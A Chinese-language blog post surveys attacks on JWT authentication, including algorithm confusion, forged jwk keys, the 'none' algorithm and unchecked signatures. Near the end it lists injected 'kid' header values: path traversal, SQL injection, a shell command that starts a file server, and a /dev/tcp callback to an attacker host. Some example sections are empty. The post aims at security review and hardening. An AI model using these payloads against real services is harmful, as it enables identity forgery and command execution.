对JWT安全的一些思考

JWT（Json Web Token）是为了在网络应用环境间传递声明而执行的一种基于 JSON 的开放标准，特别适用于分布式站点的单点登录场景。最近连续做了两个用 JWT 服务的项目安全评估，对其也有了些许思考。尽管 JWT 着实规避了一部分安全风险，但由于配置问题也可能带来新的风险，因此通过这篇文章来记录部分 JWT 可能存在的安全问题。

传统的 Session-Cookie 是服务端、客户端分别存储 session、cookie 的认证，而 Token Auth 是把 token 完全交给客户端，依赖算法实现认证。

看起来服务端解放了，再也不用保存会话，但从这里可以看出?JWT?是完全依赖算法的，算法的健壮性决定了?JWT?的健壮性（这也是为很多人所诟病的问题）。

JWT 的其余介绍官网上已经很详尽了，任何疑问可以参考 https://jwt.io/。

? ??

曾经在一次比赛里碰到的?JWT?的题目，其中一步就是破解?JWT?使用的算法。针对?JWT?的 header 中的算法爆破 sig 所用的 secret。??

根据?JWT?支持的算法可以分为两种算法破解形式，针对对称加密的破解和非对称加密的破解。

CVE-2016-10555，这也是另一道题目所涉及的内容，原本启用非对称加密（如 RS256 算法）时，通过构造 header 中算法为对称加密（如 HS256），后端会使用非对称加密的公钥作为对称加密的 secret，因此攻击者可以轻松构造任意签名。

CVE-2018-0114，攻击者覆盖 header 中预设公钥，使用对应密钥实现伪造任意签名。

{  "typ": "JWT",  "alg": "RS256",  "jwk": {    "kty": "RSA",    "kid": "TEST",    "use": "sig",    "e": "AQAB",    "n": "xxx"  }}

或在使用 JKU、X5U 时，不限制获取密钥对的 uri 可导致绑定攻击者预设的密钥对，从而伪造任意签名。

当服务端配置不当的时候，可能出现不校验 JWT 签名的场景。删除 JWT 的 signature 后，若服务器仍接受 token，那么就可以伪造任意身份了。

规范示例：

或者手动调整 JWT 的 header，将算法改为 none，构造后提交：

{ "alg": "none", "typ": "JWT" }

规范示例：

JWT 的 payload 不应包含任何敏感信息（如密码），如果 base64 decode 后包含敏感信息，就可以加以利用。

另类似 CVE-2019-7644，在 customErrors 配置不当时，无效签名返回的报错信息包含正确签名：

规范示例：

当使用 KID 时，根据不同用途会导致不同危害：

"kid": "../../uploads/xxx""kid": "../../dev/null"

"kid":"baconHacked' UNION SELECT 'key';--"

"kid":"/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&";

"kid":"/dev/tcp/yourIP/yourPort"

JWT?用的好不好，安不安全，很大程度上取决于开发者的配置是否规范，不安全的配置问题也连续登上 OWASP top10 的榜单。甲方在做安全开发基线的时候，应该明确出 JWT 相关的的规范配置要求，这样可以有效地缓解这部分安全风险。针对?JWT?，白帽子们也可以选用或开发自动化工具，这样便能够更好地解放人力。? ?

?本文中提到的相关资源已在网络公布，仅供研究学习使用，请遵守《网络安全法》等相关法律法规。

JWT 攻击技巧